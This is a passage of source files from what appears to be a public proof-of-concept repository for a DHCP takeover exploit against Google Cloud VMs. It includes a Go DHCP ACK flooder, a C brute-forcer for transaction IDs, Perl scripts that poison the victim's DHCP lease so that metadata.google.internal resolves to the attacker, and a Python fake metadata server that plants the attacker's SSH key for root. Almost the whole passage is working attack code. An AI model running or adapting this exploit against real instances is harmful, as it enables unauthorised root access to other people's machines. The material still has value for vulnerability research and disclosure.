net.IP 152 | leaseDuration time.Duration 153 | xId []byte 154 | broadcast bool 155 | options []dhcp4.Option 156 | } 157 | 158 | // Configure options for the "request packet" which is actually only 159 | // used to feed the function that creates the "reply packet" 160 | var reqOptions = []dhcp4.Option{ 161 | dhcp4.Option{ 162 | Code: dhcp4.OptionRequestedIPAddress, 163 | Value: newIP, 164 | }, 165 | } 166 | 167 | 168 | // Configure options for the "reply packet" (ACK), where the magic 169 | // really happens. 170 | var ackOptions []dhcp4.Option 171 | ackOptions = []dhcp4.Option{ 172 | 173 | dhcp4.Option{ 174 | Code: dhcp4.OptionSubnetMask, 175 | Value: []byte{255, 255, 255, 255}, 176 | }, 177 | dhcp4.Option{ 178 | Code: dhcp4.OptionDomainNameServer, 179 | Value: dnsServer, 180 | }, 181 | } 182 | 183 | if router != nil { 184 | ackOptions = append(ackOptions, dhcp4.Option{ 185 | Code: dhcp4.OptionRouter, 186 | Value: router, 187 | }) 188 | } 189 | if len(hostName) > 0 { 190 | ackOptions = append(ackOptions, dhcp4.Option{ 191 | Code: dhcp4.OptionHostName, 192 | Value: hostName}) 193 | } 194 | 195 | 196 | var replyPackets = []dhcp4.Packet {} 197 | 198 | for _, packetType := range packetTypes { 199 | 200 | var replyC = config{ 201 | description: getPacketName(packetType), 202 | mt: packetType, 203 | chAddr: mac, 204 | serverId: dhcpServer, 205 | yIAddr: newIP, 206 | leaseDuration: leaseTime, 207 | options: ackOptions, 208 | } 209 | 210 | 211 | 212 | for _, xid := range xids { 213 | 214 | var reqC = config{ 215 | description: "DHCP REQUEST", 216 | mt: dhcp4.Request, 217 | chAddr: mac, 218 | serverId: []byte{169, 254, 169, 254}, 219 | yIAddr: []byte(net.ParseIP(BROADCAST))[12:16], 220 | CIAddr: newIP, 221 | xId: xid, 222 | options: reqOptions, 223 | } 224 | 225 | // Build the actual reply packet that will be sent. We build a fake 226 | // request packet to feed into that function. It's how the library 227 | // works. Due to weird inconsistencies in xid behaviour, we want to flood 228 | // two types - little endian and big endian 229 | reqPacket1 := dhcp4.RequestPacket(reqC.mt, reqC.chAddr, reqC.CIAddr, 230 | reqC.xId, reqC.broadcast, reqC.options) 231 | replyPacket1 := dhcp4.ReplyPacket(reqPacket1, replyC.mt, replyC.serverId, 232 | replyC.yIAddr, replyC.leaseDuration, replyC.options) 233 | 234 | replyPackets = append(replyPackets, replyPacket1) 235 | } 236 | } 237 | 238 | // end of preparation, start flooding 239 | 240 | 241 | /* 242 | */ 243 | src := net.UDPAddr{IP: srcIP, Port: SOURCEPORT} 244 | dest := net.UDPAddr{IP: dstIP, Port: DESTPORT} 245 | conn, err := net.DialUDP("udp", &src, &dest) 246 | // conn, err := reuse.Dial("udp", ipPort(srcIP, SOURCEPORT), ipPort(dstIP, DESTPORT)) 247 | if err != nil { 248 | fmt.Println("UDP net.Dial error!\n%s", err) 249 | return 250 | } 251 | 252 | for { 253 | for _, packet := range replyPackets { 254 | conn.Write(packet) 255 | } 256 | if(oneshot) { 257 | return 258 | } 259 | } 260 | } 261 | 262 | func ipPort(ip net.IP, port int) string { 263 | return fmt.Sprintf("%s:%d", ip.String(), port) 264 | } 265 | -------------------------------------------------------------------------------- /poc-tool/meta.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import http.server 5 | import socketserver 6 | from urllib.parse import urlparse 7 | from urllib.parse import parse_qs 8 | 9 | class MyHttpRequestHandler(http.server.SimpleHTTPRequestHandler): 10 | def do_GET(self): 11 | self.send_response(200) 12 | self.send_header("Metadata-Flavor", "Google") 13 | self.send_header("Content-type", "application/json") 14 | self.send_header("Content-Length", str(len(body))) 15 | self.end_headers() 16 | self.wfile.write(bytes(body, "utf-8")) 17 | 18 | if __name__ == "__main__": 19 | if len(sys.argv) != 2: 20 | print("Usage: %s id_rsa.pub"%(sys.argv[0])) 21 | sys.exit(1) 22 | with open(sys.argv[1],mode='r') as f: 23 | ssh = f.read().strip() 24 | 25 | body = '{"instance":{"attributes":{},"cpuPlatform":"Intel Haswell","description":"","disks":[{"deviceName":"test-instance-1","index":0,"interface":"SCSI","mode":"READ_WRITE","type":"PERSISTENT"}],"guestAttributes":{},"hostname":"test-instance-1.us-central1-a.c.gcp-experiments-20200608.internal","id":7015181712655481713,"image":"projects/debian-cloud/global/images/debian-10-buster-v20200618","legacyEndpointAccess":{"0.1":0,"v1beta1":0},"licenses":[{"id":"5543610867827062957"}],"machineType":"projects/747024478252/machineTypes/f1-micro","maintenanceEvent":"NONE","name":"test-instance-1","networkInterfaces":[{"accessConfigs":[{"externalIp":"35.209.180.239","type":"ONE_TO_ONE_NAT"}],"dnsServers":["169.254.169.254"],"forwardedIps":[],"gateway":"10.128.0.1","ip":"10.128.0.2","ipAliases":[],"mac":"42:01:0a:80:00:02","mtu":1460,"network":"projects/747024478252/networks/default","subnetmask":"255.255.240.0","targetInstanceIps":[]}],"preempted":"FALSE","remainingCpuTime":-1,"scheduling":{"automaticRestart":"TRUE","onHostMaintenance":"MIGRATE","preemptible":"FALSE"},"serviceAccounts":{"747024478252-compute@developer.gserviceaccount.com":{"aliases":["default"],"email":"747024478252-compute@developer.gserviceaccount.com","scopes":["https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring.write","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append"]},"default":{"aliases":["default"],"email":"747024478252-compute@developer.gserviceaccount.com","scopes":["https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring.write","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append"]}},"tags":[],"virtualClock":{"driftToken":"0"},"zone":"projects/747024478252/zones/us-central1-a"},"oslogin":{"authenticate":{"sessions":{}}},"project":{"attributes":{"enable-guest-attributes":"TRUE","enable-osconfig":"TRUE","osconfig-log-level":"debug","ssh-keys":"root:'+ssh+'"},"numericProjectId":747024478252,"projectId":"gcp-experiments-20200608"}}' 26 | 27 | my_server = socketserver.TCPServer(("", 80), MyHttpRequestHandler) 28 | 29 | # Star the server 30 | my_server.serve_forever() 31 | -------------------------------------------------------------------------------- /poc-tool/randr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/irsl/gcp-dhcp-takeover-code-exec/f3adabeb9924451c794a2d6a364eb1071b75ee4a/poc-tool/randr -------------------------------------------------------------------------------- /poc-tool/randr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char* argv[]) { 6 | /* 7 | srandom(0x616817db); 8 | long int l = random(); 9 | printf("%08x\n", l); 10 | */ 11 | if(argc != 6) { 12 | printf("Usage: %s ipaddress min_pid max_pid min_unixtime max_unixtime\n", argv[0]); 13 | return -1; 14 | } 15 | 16 | char* ipaddress_str = argv[1]; 17 | int min_pid = atoi(argv[2]); 18 | int max_pid = atoi(argv[3]); 19 | int min_unixtime = atoi(argv[4]); 20 | int max_unixtime = atoi(argv[5]); 21 | int ipaddress = inet_addr(ipaddress_str); 22 | 23 | // small optimization as these ranges overlap! 24 | int min_add = min_pid + min_unixtime; 25 | int max_add = max_pid + max_unixtime; 26 | 27 | for(int add = min_add; add <= max_add; add++) { 28 | unsigned seed = ipaddress + add; 29 | srandom(seed); 30 | long int l = random(); 31 | printf("%08x\n", l); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /poc-tool/takeover-at-discover.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use strict; 4 | use warnings; 5 | use FindBin qw($Bin); 6 | 7 | my $victim_ip = shift @ARGV; 8 | my $meta_ip = shift @ARGV; 9 | 10 | die "Usage: $0 victim-ip-address meta-ip-address\n" if(!$meta_ip); 11 | 12 | my $timeframe_sec = $ENV{TIMEFRAME_SEC} || 15; 13 | 14 | my $rc = system("$Bin/detect-ping-timeout.pl", $victim_ip); 15 | die "\n\nNo ping loss?\n" if($rc); 16 | 17 | my $min_ts = time(); 18 | my $max_ts = $min_ts+$timeframe_sec; 19 | 20 | system("$Bin/takeover.pl offer $victim_ip $meta_ip $min_ts $max_ts"); 21 | -------------------------------------------------------------------------------- /poc-tool/takeover-at-renew.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | use strict; 4 | use warnings; 5 | use FindBin qw($Bin); 6 | 7 | my $victim_ip = shift @ARGV; 8 | my $meta_ip = shift @ARGV; 9 | 10 | die "Usage: $0 victim-ip-address meta-ip-address\n" if(!$meta_ip); 11 | 12 | my $mode = $ENV{MODE} || "ack"; 13 | my $window_sec = ($ENV{ONESHOT_WINDOW_MIN} || 1440)*60; 14 | 15 | my $max_ts = time(); 16 | 17 | while(1) { 18 | my $a_max_ts = $max_ts - 1; 19 | my $a_min_ts = $max_ts - $window_sec; 20 | 21 | print "Flooding destination between with XIDs between $a_min_ts and $a_max_ts\n"; 22 | my $rc = system("$Bin/takeover.pl $mode $victim_ip $meta_ip $a_min_ts $a_max_ts"); 23 | if((!$rc) && (!$ENV{DONT_STOP})) { 24 | print "it seems the attack was successful\n"; 25 | exit(0); 26 | } 27 | 28 | $max_ts = $a_min_ts; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /poc-tool/takeover.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # dhcp low entropy exploit by Imre Rad 4 | 5 | use strict; 6 | use warnings; 7 | use Net::Ping; 8 | use FindBin qw($Bin); 9 | 10 | my $mode = shift @ARGV; 11 | my $victim_ip = shift @ARGV; 12 | my $meta_ip = shift @ARGV; 13 | my $min_ts = shift @ARGV; 14 | my $max_ts = shift @ARGV; 15 | die "Usage: $0 offer|ack|simple victim-ip-address meta-ip-address min_ts max_ts\n" if((!$max_ts)||($mode !~ /^(ack|offer|simple)$/)); 16 | 17 | # flushing stdout immediately 18 | $| = 1; 19 | 20 | my $ack_poison_sec = $ENV{ACK_POISON_SEC} || 1801; 21 | my $nic = $ENV{NIC} || "ens4"; 22 | my $min_pid = $ENV{MIN_PID} || 290; 23 | my $max_pid = $ENV{MAX_PID} || 315; 24 | 25 | 26 | my $my_ip = $ENV{MY_IP} || run('ip addr show dev %s | awk \'/inet / {print $2}\' | cut -d/ -f1', $nic); 27 | my $my_router = $ENV{MY_ROUTER} || run('ip route show default | awk \'/via/ {print $3}\''); 28 | my $victim_final_ip = $ENV{FINAL_IP} || $victim_ip; 29 | my $dst_mac = $ENV{MAC} || guess_mac($victim_final_ip); 30 | 31 | # according to `getconf ARG_MAX` we have got 2mbyte for command line args, 86400*9 is still only ~700kbyte 32 | # still, env/cmdline was too limited to pass a day of xids 33 | my $xidtmp = "/tmp/xids.txt"; 34 | my $d = $ENV{XIDS} || runrandr(); 35 | 36 | print "NIC: $nic\n"; 37 | print "Min pid: $min_pid\n"; 38 | print "Max pid: $max_pid\n"; 39 | print "Min ts: $min_ts\n"; 40 | print "Max ts: $max_ts\n"; 41 | print "Attacker IP: $my_ip\n"; 42 | print "Router: $my_router\n"; 43 | print "Target IP (initial phase): $victim_ip\n"; 44 | print "Target MAC: $dst_mac\n"; 45 | print "Target IP (final phase): $victim_final_ip\n"; 46 | 47 | my $dhcp_poison_params = "-lease 15 -dev $nic -dstip $victim_ip -newhost metadata.google.internal -newip $meta_ip -srcip $my_ip -mac $dst_mac -xidfile $xidtmp"; 48 | my $dhcp_restore_params = "-ack -lease 1800 -dev $nic -dstip $victim_ip -newip $victim_final_ip -route $my_router -srcip $my_ip -mac $dst_mac -xidfile $xidtmp"; 49 | 50 | if($mode eq "offer") { 51 | 52 | # we flood with an offer and an ack first 53 | print("Initial OFFER+ACK flood\n"); 54 | my $short_flood_pid = run_background(13, "$Bin/flood -offer -ack $dhcp_poison_params"); 55 | 56 | # the lease is 15 seconds 57 | sleep(14); 58 | 59 | # the lease set up in the previous round is expiring at this point. we restore the network connectivity at this point. 60 | 61 | print "Flooding again to revert the original network config\n"; 62 | run_timeout(20, "$Bin/flood $dhcp_restore_params"); 63 | } elsif($mode eq "simple") { 64 | # this is a simple flood just to demonstrate that we can take over the network (by abusing the router ip on the same subnet 65 | # packets meant for the metadata server would be routed to us) 66 | 67 | run_timeout($ack_poison_sec, "$Bin/flood $dhcp_restore_params"); 68 | 69 | } elsif($mode eq "ack") { 70 | # lets ensure first the host is up 71 | my $p = Net::Ping->new("icmp", $ENV{PING_TIMEOUT} || 0.3); 72 | if(!$p->ping($victim_ip)) { 73 | die "$victim_ip is not alive\n"; 74 | } 75 | print "$victim_ip is alive\n"; 76 | 77 | # sending ACKs with poisoned hostname for one long lease round (1800 sec) 78 | print "Start flooding the victim for $ack_poison_sec sec\n"; 79 | my $flood_pid = run_background($ack_poison_sec, "$Bin/flood -ack $dhcp_poison_params"); 80 | 81 | print "And monitoring it in the background\n"; 82 | # now lets monitor if it goes down 83 | my $before = time(); 84 | while(1) { 85 | if((!$p->ping($victim_ip))&&(!$p->ping($victim_ip))) { 86 | last; 87 | } 88 | my $now = time(); 89 | if($now - $before > $ack_poison_sec) { 90 | die "$victim_ip didnt went down, XID was probably incorrect."; 91 | } 92 | } 93 | $p->close(); 94 | 95 | 96 | print("The host is down, it probably swallowed the poison ivy!\n"); 97 | 98 | # we lost it, so probably the first flood succeeded 99 | kill("TERM", $flood_pid); 100 | 101 | # the lease is 15 seconds 102 | sleep(14); 103 | 104 | print("And now some flood again to revert connectivity\n"); 105 | run_background(12, "$Bin/flood -ack $dhcp_restore_params"); 106 | } 107 | 108 | 109 | sub guess_mac { 110 | my $ip = shift; 111 | # google seems to use the pattern 42:01:[ipv4addr] 112 | my @digits = split(/\./, $ip); 113 | my $re = "42:01"; 114 | for my $d (@digits) { 115 | $re.= sprintf(":%02x", $d); 116 | } 117 | return $re; 118 | } 119 | 120 | sub run { 121 | my $cmd_pattern = shift; 122 | my $cmd = sprintf($cmd_pattern, @_); 123 | print "RUN: $cmd\n"; 124 | my $re = `$cmd`; 125 | $re =~ s/\s*$//; 126 | return $re; 127 | } 128 | 129 | sub mysystem { 130 | my $cmd = shift; 131 | print "RUN: $cmd\n"; 132 | return system($cmd); 133 | } 134 | 135 | # executes cmd in the background and returns the pid 136 | sub run_background { 137 | my $duration_sec = shift; 138 | my $cmd = shift; 139 | my $pid = fork; 140 | if ($pid == 0) { 141 | print "Running for $duration_sec sec in the background: $cmd\n"; 142 | exec("timeout $duration_sec $cmd"); 143 | exit; 144 | } 145 | return $pid; 146 | } 147 | 148 | sub run_timeout { 149 | my $duration_sec = shift; 150 | my $cmd = shift; 151 | print "Running for $duration_sec sec: $cmd\n"; 152 | return system("timeout $duration_sec $cmd"); 153 | } 154 | 155 | sub runrandr { 156 | my $cmd = "$Bin/randr $victim_final_ip $min_pid $max_pid $min_ts $max_ts 2>/dev/null | paste -sd ',' - >$xidtmp"; 157 | print "RUN: $cmd\n"; 158 | return `$cmd`; 159 | } 160 | -------------------------------------------------------------------------------- /poc-tool/udp-pps-test.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | 3 | # helper script to calculate the number of potential XIDs for a complete day 4 | # 5 | # 15 pids 6 | # a complete day (86400 seconds) 7 | # Number of potential xids: 86415 (due to the overlaps) 8 | # 9 | # Accoring to the measurement of this script, 10 | # the smallest F VM instance is capable of sending ~174784 packets per second 11 | # 12 | # Conclusion: we can test at least 2 days in one DHCP window! 13 | 14 | use strict; 15 | use warnings; 16 | use IO::Socket::INET; 17 | 18 | 19 | my $sock = IO::Socket::INET->new( 20 | Proto => 'udp', 21 | PeerPort => 5000, 22 | PeerAddr => '10.128.0.5', 23 | ) or die "Could not create socket: $!\n"; 24 | 25 | my $counter = 0; 26 | eval { 27 | local $SIG{ALRM} = sub { die "alarm\n" }; 28 | alarm 10; 29 | while(1) { 30 | $sock->send(('x' x 150)) or die "Send error: $!\n"; 31 | $counter++; 32 | } 33 | alarm 0; 34 | }; 35 | 36 | print "packets sent: $counter ($@)\n"; 37 | --------------------------------------------------------------------------------